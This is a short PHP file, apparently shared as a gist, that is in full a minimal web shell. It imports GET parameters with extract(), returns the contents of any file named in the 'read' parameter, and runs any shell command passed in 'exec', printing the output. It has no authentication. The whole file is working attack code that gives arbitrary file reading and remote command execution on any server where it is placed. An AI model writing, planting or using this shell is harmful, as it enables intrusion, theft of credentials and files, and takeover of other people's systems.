gistfile1.php

<?php
extract($_GET);
if ($read) {
 	echo file_get_contents($read);
}
else if ($exec) {
	exec($exec, $output);
	echo implode('<br/>', $output);
}
else {
    echo "GET requests with one of these args<br/>";
    echo "read - print file contents<br/>";
    echo "exec shell command<br/>";
}